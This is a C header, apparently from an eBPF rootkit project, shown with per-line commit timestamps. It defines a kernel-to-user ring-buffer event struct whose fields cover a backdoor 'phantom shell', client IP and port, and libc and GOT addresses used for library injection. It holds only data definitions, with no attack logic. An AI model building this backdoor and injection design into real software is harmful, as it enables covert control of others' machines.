2022-01-14 21:18:51 -05:00
|
|
|
#ifndef __MAP_COMMON_H
|
|
|
|
|
#define __MAP_COMMON_H
|
|
|
|
|
|
2022-05-10 23:04:19 -04:00
|
|
|
#include "struct_common.h"
|
|
|
|
|
|
2022-01-14 21:18:51 -05:00
|
|
|
// Ring buffer for kernel->user communication
|
2022-02-14 20:08:30 -05:00
|
|
|
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
2022-01-14 21:18:51 -05:00
|
|
|
typedef enum {
|
|
|
|
|
INFO,
|
|
|
|
|
DEBUG,
|
|
|
|
|
EXIT,
|
2022-05-05 13:22:47 -04:00
|
|
|
ERROR,
|
2022-05-10 23:04:19 -04:00
|
|
|
COMMAND,
|
2022-05-15 20:46:35 -04:00
|
|
|
PSH_UPDATE,
|
2022-04-07 07:11:28 -04:00
|
|
|
VULN_SYSCALL
|
2022-01-14 21:18:51 -05:00
|
|
|
} event_type_t;
|
|
|
|
|
|
|
|
|
|
struct rb_event {
|
|
|
|
|
int pid;
|
|
|
|
|
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
|
|
|
|
int code;
|
2022-05-10 23:04:19 -04:00
|
|
|
struct backdoor_phantom_shell_data bps_data;
|
2022-04-07 07:11:28 -04:00
|
|
|
__u64 syscall_address;
|
|
|
|
|
__u64 process_stack_return_address;
|
|
|
|
|
__u64 libc_main_address;
|
|
|
|
|
__u64 libc_dlopen_mode_address;
|
|
|
|
|
__u64 libc_malloc_address;
|
|
|
|
|
__u64 got_address;
|
2022-04-09 14:17:09 -04:00
|
|
|
__s32 got_offset;
|
2022-04-07 07:11:28 -04:00
|
|
|
int relro_active;
|
2022-01-14 21:18:51 -05:00
|
|
|
event_type_t event_type;
|
2022-05-15 16:45:47 -04:00
|
|
|
__u32 client_ip;
|
|
|
|
|
__u16 client_port;
|
2022-01-14 21:18:51 -05:00
|
|
|
};
|
|
|
|
|
|
|
|
|
|
#endif
|